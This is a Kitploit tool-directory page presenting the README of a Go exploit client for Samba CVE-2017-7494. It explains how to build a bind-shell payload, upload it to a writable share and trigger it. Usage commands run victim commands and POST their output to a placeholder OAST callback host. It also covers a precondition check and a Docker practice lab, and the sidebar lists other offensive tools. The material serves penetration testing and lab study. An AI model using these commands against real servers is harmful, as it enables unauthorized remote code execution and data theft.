Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Sambacry-exploit-CVE-2017-7494-go — Standalone Go exploit client for Samba CVE-2017-7494: uploads a shared-object payload to a writable SMB share and triggers dlopen via IPC$ named pipes, with precondition checks and callback modes. | Kitploit
Tools/GitHubGitHub/tarunyenni/sambacry-exploit-cve-2017-7494-go
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationNetwork SecurityPenetration TestingRemote Access TrojanLabs & Practice
GitHubtarunyenni/sambacry-exploit-cve-2017-7494-go

Sambacry-exploit-CVE-2017-7494-go

Standalone Go exploit client for Samba CVE-2017-7494: uploads a shared-object payload to a writable SMB share and triggers dlopen via IPC$ named pipes, with precondition checks and callback modes.

Nov 30, 2026Not yet reviewed
View Repository
Share

SambaCry (CVE-2017-7494) — Go client

Standalone Go exploit client for CVE-2017-7494 (no Python, Impacket, or venv on the attacker host). It uploads a Linux .so to a writable SMB share and triggers dlopen through a crafted named pipe on IPC$ (forward slashes preserved — required for the bug).

Attribution: technique described in public research on SambaCry; not affiliated with third-party PoC maintainers.

More docs: DEPENDENCIES.md · CLONE.md (first-time build) · requirements-system.apt


Legal disclaimer

Full text: DISCLAIMER.md

Educational and authorized use only. This project exists to study CVE-2017-7494 and to demonstrate impact in controlled environments (labs, CTFs, penetration tests with written permission).

  • Use only on systems you own or where you have explicit, documented authorization.
  • Unauthorized access to, or modification of, computer systems is illegal in many countries.

The author is not responsible for any use or misuse of this code, including illegal or unauthorized activities. You assume full responsibility for complying with applicable laws and contracts. The author provides this software as-is, with no warranty.

If you store this repository privately, restrict who can access it and do not deploy it against production systems without approval.


What you need to know

TopicDetail
Attacker binarysambacry — built for your OS/CPU (make clients → dist/)
Victim payloadlibbindshell-samba.so — must match the Samba server OS/CPU (default build: linux/amd64)
Affected Samba≥3.5.0 before fixes 3.6.25 / 4.4.14 / 4.5.10 / 4.6.4 (distro backports may differ)

Build

Victim .so is built from payload/bindshell-samba.c and embedded at build time (not committed to git).

make deps          # optional: apt + go modules (see DEPENDENCIES.md)
make               # amd64 victim .so + cross-compile dist/sambacry-*
make native        # local ./sambacry only

On ARM Kali, the client can be arm64 while the victim .so stays amd64: VICTIM_ARCH=amd64 make payload (default).

Do not rely on plain go build on a fresh clone — run make clients or make native so internal/payload/libbindshell-samba.so exists for go:embed.


Exploit usage

./sambacry -t TARGET -u USER -p PASS -P 6699 -c id
FlagPurpose
-tTarget IP or hostname
-u / -pCredentials
-NAnonymous SMB (null session), like smbclient -N
-u guestGuest account
-s / -rShare and remote path (auto-detected if omitted when creds allow)
-eLocal payload .so (default: embedded)
-P / -cOne-shot listener port and command (-P 0 = trigger only, no connect-back)
-callbackOutbound HTTP POST of command output to URL (Collaborator/webhook); no inbound port on target (curl/wget on victim)
-callback-hostOptional: replace loopback in -callback with an IP/hostname the victim can reach (your LAN IP, 172.17.0.1 for local Docker lab, etc.)
--try-all-sharesTry each writable share until success
--no-colorPlain terminal output

Auth: -u/-p, -u guest, or -N / -u %. Many real targets block null sessions; guest needs guest ok and writable shares.

Callback modes

Scenario-callback
Internet / OASThttps://YOUR_ID.oast.fun (Burp Collaborator, etc.) — victim must egress to the internet
Self-hosted (lab/LAN)URL the victim can reach; optional tools/http-request-logger/ on your host (Python 3, stdlib only — not netcat; curl needs HTTP 200)

Victim runs the command and POSTs output; nothing listens on the target. See docs/DOCKER-LAB.md for docker-bridge (-callback-host 172.17.0.1) notes.


Vulnerability check (-check)

Non-invasive precondition test (no payload upload, no dlopen trigger):

./sambacry -check -t TARGET -u USER -p PASS
./sambacry -check -t TARGET -u USER -p PASS --samba-version "Samba 4.5.9"

Verdict colors

ColorMeaning
GreenWritable share + named pipes and Samba version in CVE affected range
YellowPreconditions OK; version unknown or inconclusive
RedPreconditions missing or version looks patched (upstream numbering)

Exit codes: 0 = green, 2 = yellow, 1 = red.

Version detection (authorized targets)

Order of attempts:

  1. --samba-version or env SAMBACRY_SAMBA_VERSION
  2. In-binary SMB1 banner (if the server still allows SMB1)
  3. nmap --script smb-os-discovery (anonymous, then with your -u/-p)
  4. smbclient -L / nmap -sV if installed on the attacker host

Windows .exe: usually no smbclient/nmap on PATH. Use --samba-version from prior recon, install Nmap for Windows for credentialed discovery, or accept a yellow check and run the exploit with explicit authorization. Version is advisory for the check banner only; exploit does not require -check.

Dev-only: SAMBACRY_LAB_HINTS=1 enables a local Docker smbd -V hint — not for real engagements.


Docker lab (local practice)

Full steps: docs/DOCKER-LAB.md

Quick start:

./scripts/lab-up.sh              # docker compose → vulnerables/cve-2017-7494 on :445
make native                      # build ./sambacry once
./sambacry -check -t 127.0.0.1 -u sambacry -p nosambanocry
./sambacry -t 127.0.0.1 -u sambacry -p nosambanocry -P 6699 -c id
# Callback: OAST or local HTTP logger (see docs/DOCKER-LAB.md)
./sambacry -t 127.0.0.1 -u sambacry -p nosambanocry -callback 'https://YOUR.oast.fun' -c 'id;hostname'
./scripts/lab-down.sh              # stop lab

Optional Samba profiles: ./scripts/lab-apply-smb.sh stock|multi|anonymous|rename (configs in testdata/).

This repo includes docker-compose.yml only (pulls the public lab image). It does not build Samba from source — see docs/DOCKER-LAB.md if you need a custom image.


Repository layout

cmd/sambacry/           CLI entrypoint
internal/check/         CVE-2017-7494 precondition checks
internal/exploit/       exploit orchestration
internal/smbops/        SMB session, auth, upload
internal/target/        share probe, paths, triggers
internal/out/           terminal colors
internal/payload/       go:embed victim .so
third_party/go-smb2/    vendored SMB2 + SambaCry helpers
payload/                bindshell-samba.c source
docker-compose.yml      optional lab target (image: vulnerables/cve-2017-7494)
docs/                   DOCKER-LAB.md — setup and execute walkthrough
testdata/               optional Docker lab smb.conf snippets
scripts/                build + lab-up / lab-down / lab-apply-smb
tools/http-request-logger/  optional HTTP request/response logger (Python; see README there)

CVE reference

Related Tools

  • metasploit-framework

    Open-source exploitation framework with modular payload, encoder, and auxiliary system for penetration testing, vulnerability validation, and security research across networks and applications.

  • donut

    Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters

  • sRDI

    Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher platform that deploys a rogue GSM cell to intercept SMS, inject messages and track mobile devices

    721
  • 4

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    535
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    424
  • 6

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    419

Explore all tools

Browse our collection of tools

View all tools →